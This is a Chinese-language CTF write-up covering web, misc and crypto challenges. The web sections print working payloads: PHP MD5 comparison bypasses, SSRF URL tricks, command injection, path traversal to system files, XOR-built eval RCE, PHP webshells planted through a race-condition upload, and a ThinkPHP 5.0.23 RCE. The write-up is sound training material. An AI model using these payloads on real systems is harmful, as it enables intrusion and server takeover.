百度框架戶開戶渠道seo建設(shè)招商
web
ezezssrf
打開環(huán)境,代碼審計(jì)
看起來有點(diǎn)多,要繞過五層
第一層:存在==弱比較,使用數(shù)組或0e繞過
yunxi[]=1&wlgf[]=2
yunxi=s878926199a&wlgf=s155964671a
第二層:存在===強(qiáng)比較,此處使用string限制參數(shù)為字符串型,不能使用數(shù)組繞過??墒褂脙蓚€(gè)MD5值完全相同的字符繞過
yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第三層:變量$GLG開頭包含字符串 http://blog.csdn.net
if (strpos($GLG, 'http://blog.csdn.net') !== 0)
strpos 函數(shù)用于查找字符串 'http://blog.csdn.net' 在變量 $GLG 中的位置。
如果該字符串不在 $ GLG 的開頭(即位置為0),則執(zhí)行 die 函數(shù)終止腳本執(zhí)行,并輸出提示信息。
第四層:同樣的使用了strpos 函數(shù)查找包含在$GLG中的變量$csdn里的中文“師姐,... ...”,可使用HTTP 基本身份認(rèn)證繞過
GLG=http://blog.csdn.net@127.0.0.1
第五層:shell_exec()
函數(shù)使頁面無回顯,使用>或tee命令將想要進(jìn)行的命令執(zhí)行存入1.txt文件,之后再訪問1.txt文件即可。
cmd=cat /flag | tee 1.txt
最終payload:
yunxi=s878926199a&wlgf=s155964671a&yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt
知識(shí)點(diǎn):
md5弱比較(==),強(qiáng)比較(===)
md5強(qiáng)比較&弱比較-CSDN博客
弱比較:只比較值,不比較類型
強(qiáng)比較:比較值,也比較類型
- a==b ? 將a,b的值轉(zhuǎn)換成同類型再比較值
- a===b 先判斷a,b類型,若相同,則比較值,若不相同,則返回false
?弱比較(==)繞過:
1.數(shù)組繞過:md5不能加密數(shù)組 ,如 a[]=1 , b[]=1 , 傳入數(shù)組會(huì)報(bào)錯(cuò),但會(huì)繼續(xù)執(zhí)行并且返回結(jié)果為null。
2.0e繞過:以0e開頭的數(shù)會(huì)被認(rèn)為是科學(xué)計(jì)數(shù)法,0e+任何數(shù) 在科學(xué)計(jì)數(shù)法中都是0,故兩數(shù)相等。
0e開頭的md5和原值: QNKCDZO:0e830400451993494058024219903391 240610708:0e462097431906509019562988736854 s878926199a:0e545993274517709034328855841020 s155964671a:0e342768416822451524974117254469
強(qiáng)比較(===)繞過:
1.數(shù)組繞過
2.md5值完全相同的字符繞過
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
萬能通式ffifdyop 繞過:
or 對(duì)應(yīng)的16進(jìn)制:276f7227?
ffifdyop字符串,MD5加密后會(huì)變成276f7227 36c95d99e921722cf9ed621c
字符串前幾位剛好是 ‘ or ‘6
select * from 'admin' where password=md5($pass,true) 輸入md5('ffifdyop',true)繞過
HTTP 基本身份認(rèn)證繞過SSRF:
CTFHUB技能樹——SSRF繞過
HTTP 基本身份認(rèn)證允許 Web 瀏覽器或其他客戶端程序在請(qǐng)求時(shí)提供用戶名和口令形式的身份憑證的一種登錄驗(yàn)證方式。
即??? http://www.xxx.com@www.yyy.com形式
shell_exec()函數(shù):
shell_exec()函數(shù)會(huì)讓頁面無回顯
linux中 “tee” 是從標(biāo)準(zhǔn)輸入讀取,再寫入標(biāo)準(zhǔn)輸出和文件
在PHP中? ">"? 是表示把什么寫入什么文件的意思。
無回顯,那就把它寫進(jìn)一個(gè)文件,然后訪問這個(gè)文件即可
?cmd=ls /|tee 1.txt
?cmd= c''at \f*** |tee 1.txt(寫進(jìn)1.txt文件里)
windows系統(tǒng)命令拼接方式|:直接執(zhí)行后面的語句。 ||:如果前面的語句執(zhí)行失敗,則執(zhí)行后面的語句,前面的語句只能為假。 &:兩條命令都執(zhí)行,如果前面的語句為假則直接執(zhí)行后面的語句,前面的語句可真可假。 &&:如果前面的語句為假則直接出錯(cuò),也不執(zhí)行后面的語句,前面的語句為真則兩條命令都執(zhí)行,前面的語句只能為真。
小小py
此題要買flag,但是錢不夠
直接購買提示金額不足:
發(fā)現(xiàn)右下角提示 *click to download our sweet images*? 點(diǎn)擊圖片能夠下載,使用bp抓包? 發(fā)現(xiàn)圖片的下載路徑。
/download?image=2.jpg
下載地址可能存在任意文件下載漏洞:
嘗試?yán)寐窂讲榭次募?#xff0c;發(fā)現(xiàn)不能直接回顯。于是用目錄穿越查看一下 /etc/passwd 回顯成功
/download?image=../../etc/passwd// etc/passwd 文件包含了系統(tǒng)上所有用戶的信息
嘗試訪問Python環(huán)境變量:得到flag
/download?image=../../proc/self/environ// proc/self 其路徑指向當(dāng)前進(jìn)程
// environ 記錄當(dāng)前進(jìn)程的環(huán)境變量信息
學(xué)習(xí)高數(shù)
打開環(huán)境就問你喜不喜歡高數(shù)~
提示說有1萬個(gè)頁面
使用bp抓包爆一下頁面,設(shè)置數(shù)字從1到10000,找到index8887.html的特殊界面
cvFXZohgjf看起來像一個(gè)文件,嘗試訪問 cvFXZohgjf.php,代碼審計(jì) 需繞過三層
$content = $_GET['GS']; //將$_GET['GS']的值賦給$ contentif (strlen($content) >= 60) {die("不是哥們"); } //檢查$content的長(zhǎng)度是否小于60,如果大于等于60,程序終止并顯示"不是哥們"。
// 定義一個(gè)黑名單數(shù)組$blacklist $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; //遍歷$blacklist //使用正則表達(dá)式檢查$content中是否包含黑名單中的字符,如果包含,程序終止并顯示"新號(hào)別搞"。foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("新號(hào)別搞");}}
// 定義一個(gè)白名單數(shù)組$whitelist,包含了允許在$content中使用的數(shù)學(xué)函數(shù)名稱 $whitelist = ['abs', 'acos', 'acosh', 'asin',... ...];
// 使用正則表達(dá)式從$content中提取所有函數(shù)名稱,存儲(chǔ)在$used_funcs數(shù)組中。 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 使用正則表達(dá)式從$content中提取所有函數(shù)名稱,存儲(chǔ)在$used_funcs數(shù)組中。 // 遍歷$used_funcs,檢查其中的函數(shù)名是否都在$whitelist中,如果不在,程序終止并顯示"蝦啊"。 foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("蝦啊");}}
eval('echo '.$content.';'); //使用eval函數(shù),將$content中的內(nèi)容安全地執(zhí)行并輸出
二次傳參RCE
第一層:有長(zhǎng)度小于60限制,可使用二次傳參RCE的方式繞過
?GS=eval($_GET[1]);&1=system('ls');
第二層:但是過濾了很多字符,[ ] 可用{ } 繞過
?GS=$_GET{};$_GET{0}($_GET{1})&0=system&1=ls//?GS=$_GET{}; 定義一個(gè)變量GS,其值為一個(gè)空數(shù)組
//$_GET{0}($ _GET{1}) 嘗試調(diào)用$_GET數(shù)組中的第一個(gè)元素作為函數(shù),并將第二個(gè)元素作為參數(shù)傳遞給它
//&0=system 和 &1=ls URL參數(shù),分別被設(shè)計(jì)為0和1索引的值(命令執(zhí)行)
異或構(gòu)造所需字符
第三層:還要檢測(cè)函數(shù)名是否都在$whitelist中
沒有禁用 ^ 符號(hào),于是可以通過異或構(gòu)造想要的$whitelist中的字母
// 使用腳本利用白名單里的函數(shù)生成可用字符
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){for($i = 0;$i < 9; $i++){for($j = 0;$j <=9;$j++){$exp = $payload[$k] ^ $i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo "\n";}}
}
將得到的結(jié)果保存到記事本中,搜索需要構(gòu)造的字符
對(duì)應(yīng)字符 異或結(jié)果
_G is_nan^(6).(4)
ET tan^(1).(5)$GS=_GET ————> $GS=(is_nan^(6).(4)).(tan^(1).(5))
直接將上面的3個(gè) _GET 改為 is_nan^(6).(4)).(tan^(1).(5) ,發(fā)現(xiàn)太長(zhǎng)了~
可以將 _GET 賦值給參數(shù)$pi,就只用改1個(gè)_GET
(正常來說可隨意使用題中所給數(shù)學(xué)函數(shù)作為參數(shù),但是這里限制60的字符長(zhǎng)度,有三個(gè)字母的函數(shù)用了還是會(huì)超出)
最終payload:
?GS=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag//$pi=$$pi; 這里使用了變量變量(variable variable),將$pi的值(即_GET)作為變量名,然后將_GET數(shù)組賦值給$pi。
得到flag(此處環(huán)境有點(diǎn)小問題,但是最終結(jié)果如下)
你能跟上我的speed嗎
隨便傳一個(gè)文件,都是返回一張圖片,根據(jù)題目的speed可以猜測(cè)為文件上傳的條件競(jìng)爭(zhēng)。
于是上傳一句話木馬文件,使用bp抓包爆破
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(111) ?>
抓包上傳文件的請(qǐng)求
抓包訪問上傳文件的路徑(題目提示路徑為./uploads)
不需要設(shè)置參數(shù),payload type都設(shè)為null payloads,payload setting選擇Continue indefinitely(無限循環(huán)抓包)
兩邊同時(shí)爆破,將文件上傳路徑頁面回顯111的頁面發(fā)送到repeater,改1.php為shell.php,能訪問成功
連接蟻劍得到flag
文件上傳之條件競(jìng)爭(zhēng)
文件上傳之條件競(jìng)爭(zhēng)
什么是條件競(jìng)爭(zhēng)?
在上傳文件源代碼里面有校驗(yàn)上傳的文件,文件直接上傳,上傳成功后才進(jìn)行判斷;
如果文件格式符合的情況下,則重命名,如果文件格式不符合要求,就將文件刪除。
由于服務(wù)器并發(fā)處(同時(shí))理多個(gè)請(qǐng)求,假如a用戶上傳了一個(gè)文件,b用戶訪問a用戶的文件就會(huì)出現(xiàn)以下三種情況:
1.訪問時(shí)間點(diǎn)在上傳文件之前,沒有此文件
2.訪問時(shí)間在上傳文件之后,且服務(wù)器還未將其刪除,文件存在
3.訪問時(shí)間點(diǎn)在服務(wù)器刪除文件之后,文件不存在注意:
使用bp
payload type 選擇 null payloads
Payload options 選擇 Continue indefinitely(無限循環(huán)抓包)一句話木馬:
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(333) ?> //fopen(...)打開(或創(chuàng)建)名為'shell.php'的文件,并以寫入模式(fwrite)進(jìn)行操作。 //fputs(...):此函數(shù)將數(shù)據(jù)寫入由fopen打開的文件。數(shù)據(jù)是作為字符串提供的。 //<?php eval($_POST[111]); ?>簡(jiǎn)單的php一句話木馬,寫入shell.php文件中。 //fclose($op)關(guān)閉文件。 //輸出數(shù)字111,作為一種執(zhí)行成功的標(biāo)記。
真正的hacker!(flag1)(flag2)
打開環(huán)境是一個(gè)ThinkPHP頁面
使用ThinkphpGUI工具掃描,發(fā)現(xiàn)存在5.0.23版本的rce漏洞
根據(jù)掃描出的payload讀取flag1
GET傳參:?s=captcha&test=-1
POST傳參:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag1
訪問后給了一個(gè)提示“命令執(zhí)行只能得到flag1,真正的滲透大師熱衷于getshell”,說明flag2需要getshell才能得到。
選擇漏洞版本后并不能直接getshell
可以進(jìn)行命令執(zhí)行
whoami:操作系統(tǒng)中用于查看當(dāng)前有效用戶名的命令
pwd 查看當(dāng)前路徑
ls 查看上傳路徑
故可利用一句話木馬進(jìn)行命令執(zhí)行,將一句話木馬文件1.php上傳到/var/www/public/uploads/路徑下
echo '<?php eval($_POST[cmd]); ?>' > var/www/public/uploads/1.php
// 此處上傳該木馬,蟻劍連接不成功,應(yīng)該有過濾
// 木馬寫入錯(cuò)了用rm uploads/1.php 刪除文件后重新寫入
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |base64 -d > /var/www/public/uploads/1.php
// 使用base64編碼木馬后再上傳
// base64 -d 是一個(gè)命令行指令,用于對(duì)Base64編碼的數(shù)據(jù)進(jìn)行解碼
使用蟻劍連接成功,得到flag2
Misc
misc大雜燴
解壓后打開PPT,提示有6部分flag,考點(diǎn)簡(jiǎn)單,但是腦洞太大,所以也說沒有思路就不用硬耗時(shí)間
考點(diǎn)一:盲水印
保存第二頁的圖片,使用工具分析吾愛破解WaterMark下載,得到flag1{hdy12-
?
考點(diǎn)二:word隱藏文字
打開是一個(gè)word文檔
選中全文,點(diǎn)擊字體,打開“字體”對(duì)話框。在“字體”對(duì)話框中,將“效果”欄下的【隱藏】取消勾選,然后點(diǎn)擊確定,這樣文檔中隱藏的文字就全部取消隱藏狀態(tài)并顯示出來了。
得到flag2{1yhgzc5-
考點(diǎn)三:base64轉(zhuǎn)圖片
解壓后使用010editor打開,發(fā)現(xiàn)base64編碼轉(zhuǎn)為圖片,得到一個(gè)二維碼
Base64轉(zhuǎn)換圖片工具
在線二維碼解碼器?,解碼得到 flag3{Ypt0a2-
考點(diǎn)四: Deepsound音頻隱寫
在音頻文件里面,寫入了其它的文件,比如flag.txt,也可以是圖片等等,此時(shí)可以用deepsound進(jìn)行解密。
?將考點(diǎn)4.wav文件放入Deepsound解密,提取1.txt文件得到? flag4{ghj8-
考點(diǎn)五:zip掩碼爆破,埃特巴什碼解密
有一個(gè)壓縮包,解壓時(shí)發(fā)現(xiàn)想要密碼
根據(jù)提示可推測(cè)密碼形式為 197.157.xx.xx 或 197.157.xxx.xxx
使用掩碼爆破,得到解壓密碼197.157.76.98
解壓成功后得到 uozt5{7ftzp-,再進(jìn)行埃特巴什碼解密得? flag5{7ugak-
Zip密碼爆破
爆破:逐個(gè)嘗試所有密碼,直到遇到正確密碼
字典:字典攻擊的效率比爆破稍高,因?yàn)樽值渲写鎯?chǔ)了常用的密碼,因此就避免了爆破時(shí)把時(shí)間浪費(fèi)在無用的密碼上。
掩碼攻擊:如果已知密碼的某幾位,如已知8位密碼的第4位是Z,那么可以構(gòu)造XXXZXXXX進(jìn)行掩碼攻擊,掩碼攻擊的原理相當(dāng)于構(gòu)造了第4位為Z的字典,攻擊效率也比逐個(gè)嘗試的爆破方式高。
考點(diǎn)六: 文件16進(jìn)制顛倒
使用010editor打開附件,可看見一個(gè)明顯的PK頭,但是被倒置了
使用python腳本給它倒回來,使用010打開就正常了
with open('原文件路徑','rb') as f: #倒置前with open('修改后文件路徑','wb') as g: #倒置后g.write(f.read()[::-1])
修改后綴為.zip,解壓后得到圖片及 flag6: 78uiag}
最終flag: Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}
MISC1
下載附件后使用wireshark打開,發(fā)現(xiàn)有一短兩長(zhǎng)的規(guī)律
不改變當(dāng)前順序,發(fā)現(xiàn)短的最后一個(gè)字符拼接起來剛好是flag
flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw}
MISC2
解壓得到一張損壞的圖片
使用010editor分析,發(fā)現(xiàn)被倒轉(zhuǎn)了 此處與上面不同,是4位倒置
使用腳本修復(fù)圖片,得到一張圖片
def restore_file(input_file, output_file):# 讀取文件內(nèi)容with open(input_file, 'rb') as f:data = f.read()restored_data = bytearray()# 每4個(gè)字節(jié)為一組for i in range(0, len(data), 4):# 取出4個(gè)字節(jié)并倒轉(zhuǎn)順序restored_data.extend(data[i:i+4][::-1])# 將恢復(fù)后的數(shù)據(jù)寫入輸出文件with open(output_file, 'wb') as f:f.write(restored_data)# 輸入和輸出文件路徑
input_file = r'E:\yunlabs\4-digit.png'
output_file = r'E:\yunlabs\4-digit1.png'# 調(diào)用函數(shù)進(jìn)行文件恢復(fù)
restore_file(input_file, output_file)
... ...
后面再看
mics-Make Png Great Again——CVE-2023-28303(截圖修復(fù))_windows10教育版激活密鑰-CSDN博客
Crypto
mmmd5
下載附件后發(fā)現(xiàn)有很多MD5值
最直接的方法,使用在線網(wǎng)站一個(gè)一個(gè)解得flag
MD5免費(fèi)在線解密破解_MD5在線加密-SOMD5